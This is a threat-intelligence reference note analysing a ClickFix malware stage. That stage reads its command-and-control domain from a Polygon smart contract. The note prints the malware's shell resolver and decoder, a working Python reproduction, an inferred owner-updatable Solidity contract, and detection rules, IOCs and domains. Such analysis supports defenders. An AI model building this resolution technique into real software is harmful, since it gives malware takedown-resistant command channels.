---
type: reference
title: "ClickFix — Blockchain Dead-Drop Resolver (BDDR)"
description: "Polygon smart contract C2 resolution via eth_call. ABI decoding, RPC failover, defensive recommendations. Novel C2 technique."
tags: [security, clickfix, blockchain, c2, polygon, smart-contract, bddr, ethereum]
timestamp: "2026-07-14"
---

# ClickFix — Blockchain Dead-Drop Resolver (BDDR)

The C2 URL is stored as hex data in a Polygon smart contract. If the domain is seized, the attacker pushes a new on-chain transaction and all infected machines instantly pivot to the new C2.

See also: [[clickfix-handoff]] | [[clickfix-c2-bot]] | [[clickfix-infrastructure]]

---

## 1. What is BDDR?

A Blockchain Dead-Drop Resolver stores the active C2 server URL inside a smart contract's on-chain state rather than using DNS, DGA, or hardcoded IPs. The malware makes a read-only `eth_call` to the contract, decodes the ABI-encoded response, and extracts the C2 hostname.

First documented in academic research (2019–2021), but operational deployment in active APT campaigns targeting macOS developers marks a significant shift toward production-quality C2 resilience.

---

## 2. Why BDDR is Unprecedented

| Takedown Method | DNS C2 | Domain Fronting | DGA | **BDDR** |
|---|---|---|---|---|
| DNS sinkholing | Effective | Partial | Partial | **Ineffective** |
| Registrar takedown | Effective | Partial | Ineffective | **Ineffective** |
| IP blocklist | Effective | Partial | Partial | Only fallback IP |
| Smart contract takedown | N/A | N/A | N/A | **Impossible** — immutable |
| RPC node blocking | N/A | N/A | N/A | Possible but requires blocking all public Polygon RPC |
| Blockchain fork | N/A | N/A | N/A | **Infeasible** — cost prohibitive |

The contract `0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0` is permanently deployed on Polygon Mainnet. No mechanism exists to delete or modify it without the owner's private key.

### Attacker Update Capability

The threat actor updates the C2 URL by calling the contract's write function:
- If `sj98xe4.xyz` is taken down → attacker updates contract state to new domain
- All infected hosts polling via RPC automatically pivot
- **No reinfection or payload update required**

---

## 3. Technical Implementation

### RPC Node Failover Array

```bash
POLYGON_RPCS=(
    "https://polygon.drpc.org"
    "https://polygon.publicnode.com"
    "https://polygon-mainnet.gateway.tatum.io"
    "https://tenderly.rpc.polygon.community"
)
```

4 distinct public Polygon RPC nodes with failover. All are legitimate free providers — traffic indistinguishable from ordinary blockchain app traffic.

### The eth_call Request

```json
{
    "jsonrpc": "2.0",
    "method": "eth_call",
    "params": [
        {
            "to": "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0",
            "data": "0x2686ecea"
        },
        "latest"
    ],
    "id": 1
}
```

| Field | Value | Notes |
|---|---|---|
| `method` | `eth_call` | Read-only — no gas, no tx, no private key |
| `to` | Contract address | Polygon Mainnet |
| `data` | `0x2686ecea` | 4-byte function selector (Keccak256) |
| Block tag | `latest` | Current on-chain state |

### Shell Implementation

```bash
resolve_c2() {
    local rpc_url="$1"
    local contract="0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
    local selector="0x2686ecea"
    response=$(curl -s -X POST "$rpc_url" \
        -H "Content-Type: application/json" \
        -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"${contract}\",\"data\":\"${selector}\"},\"latest\"],\"id\":1}")
    echo "$response"
}
```

---

## 4. ABI Hex Decoding

### Ethereum ABI Encoding for `string` Return

```
[32 bytes] Offset pointer to dynamic data
[32 bytes] String length in bytes
[N bytes]  String data, zero-padded to 32-byte boundary
```

### Decoding the Response

Raw hex (stripping `0x`):

```
Word 0 (bytes 0-31):   0000000000000000000000000000000000000000000000000000000000000020
Word 1 (bytes 32-63):  000000000000000000000000000000000000000000000000000000000000000b
Word 2 (bytes 64-95):  736a39387865342e78797a000000000000000000000000000000000000000000
```

Step 1: Word 0 → `0x20` = 32 (offset to string data)
Step 2: Word 1 → `0x0b` = 11 (string length)
Step 3: Word 2 → 11 bytes: `736a39387865342e78797a`
Step 4: Hex to ASCII:

```
73→s 6a→j 39→9 38→8 78→x 65→e 34→4 2e→. 78→x 79→y 7a→z
```

**Result:** `sj98xe4.xyz` — the active C2 domain.

### Shell Decoder in Malware

```bash
decode_c2_from_rpc_response() {
    local raw_hex="$1"
    local hex="${raw_hex#0x}"
    local len_hex="${hex:64:64}"
    local str_len=$(printf "%d" "0x${len_hex}")
    local str_hex="${hex:128:$((str_len * 2))}"
    c2_domain=$(echo "$str_hex" | xxd -r -p)
    echo "$c2_domain"
}
```

---

## 5. Python Forensic Reproduction

```python
#!/usr/bin/env python3
"""Forensic reproduction of BDDR. Usage: python3 reproduce_bddr.py"""

import json
import urllib.request

CONTRACT = "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0"
SELECTOR = "0x2686ecea"
RPC_NODES = [
    "https://polygon.drpc.org",
    "https://polygon.publicnode.com",
    "https://polygon-mainnet.gateway.tatum.io",
    "https://tenderly.rpc.polygon.community",
]

def eth_call(rpc_url, contract, data):
    payload = json.dumps({
        "jsonrpc": "2.0", "method": "eth_call",
        "params": [{"to": contract, "data": data}, "latest"], "id": 1
    }).encode()
    req = urllib.request.Request(rpc_url, data=payload,
        headers={"Content-Type": "application/json"}, method="POST")
    with urllib.request.urlopen(req, timeout=10) as resp:
        return json.loads(resp.read())["result"]

def decode_abi_string(hex_data):
    data = hex_data[2:] if hex_data.startswith("0x") else hex_data
    offset = int(data[0:64], 16)
    length_start = offset * 2
    str_len = int(data[length_start:length_start + 64], 16)
    str_start = length_start + 64
    str_hex = data[str_start:str_start + (str_len * 2)]
    return bytes.fromhex(str_hex).decode("utf-8")

for rpc in RPC_NODES:
    try:
        result = eth_call(rpc, CONTRACT, SELECTOR)
        print(f"C2: {decode_abi_string(result)}")
        break
    except Exception as e:
        print(f"Failed: {e}")
```

---

## 6. Inferred Solidity Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract C2Resolver {
    address private owner;
    string private c2Domain;

    constructor(string memory initialDomain) {
        owner = msg.sender;
        c2Domain = initialDomain;
    }

    // Selector: 0x2686ecea (read — no auth required)
    function getC2() external view returns (string memory) {
        return c2Domain;
    }

    // Update — only owner
    function setC2(string memory newDomain) external {
        require(msg.sender == owner, "Not authorized");
        c2Domain = newDomain;
    }
}
```

### Function Selectors (from doc 09)

| Selector | Likely Function | Purpose |
|---|---|---|
| `0x2686ecea` | `getC2()` | Read C2 domain (infected hosts call this) |
| `0x893d20e8` | `getOwner()` | Read contract owner |
| `0xd75d1ba6` | `getServer()` | Alternative C2 getter |
| `0xf2fde38b` | `transferOwnership()` | Owner rotation |

---

## 7. On-Chain Timeline

| Date | Event |
|---|---|
| Pre-2026-06-25 | Contract deployed with initial C2 |
| 2026-06-25 | First observed `SetServerURL` tx |
| 2026-06-27 | `sj98xe4.xyz` suspended by registrar |
| 2026-06-29 | Attacker registers `apdhlhs3.xyz` |
| 2026-06-30 | 16th `SetServerURL` tx — contract updated to new C2 |
| 2026-07-02 | BDDR confirmed — `apdhlhs3.xyz` decoded from contract |

---

## 8. Operational Impact

- C2 domain `sj98xe4.xyz` was suspended within 48 hours of the report
- Attacker registered new C2 (`apdhlhs3.xyz`) 2 days later for ~$1.00
- Contract update took one on-chain transaction
- All infected hosts pivoted automatically
- **Domain takedowns alone are ineffective against BDDR**

---

## 9. Defensive Recommendations

| Control | Implementation |
|---|---|
| Block Polygon RPC at perimeter | Firewall deny: `polygon.drpc.org`, `polygon.publicnode.com`, `polygon-mainnet.gateway.tatum.io`, `tenderly.rpc.polygon.community` |
| Detect eth_call patterns | IDS rule: POST with JSON body `"method":"eth_call"` from non-browser processes |
| Monitor xxd/awk hex decoding | EDR rule: `xxd -r -p` in shell context |
| Blockchain threat intel | Subscribe to on-chain monitoring for contract write events |

> Blocking public RPC nodes may impact legitimate web3 workflows. A targeted approach: alert on `eth_call` from shell interpreters rather than browsers.

---

## 10. IOC Quick Reference

| Type | Value |
|---|---|
| Contract | `0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0` |
| Selector | `0x2686ecea` |
| Creator | Attacker-controlled EOA |
| Domains served | `sj98xe4.xyz` → `apdhlhs3.xyz` → `j9af4sr.guru` |
| Network | Polygon Mainnet (Chain ID 137) |

---
*Source: redhat-clickfix-report/docs/03_stage2_blockchain_c2.md + docs/09_infrastructure_analysis.md*
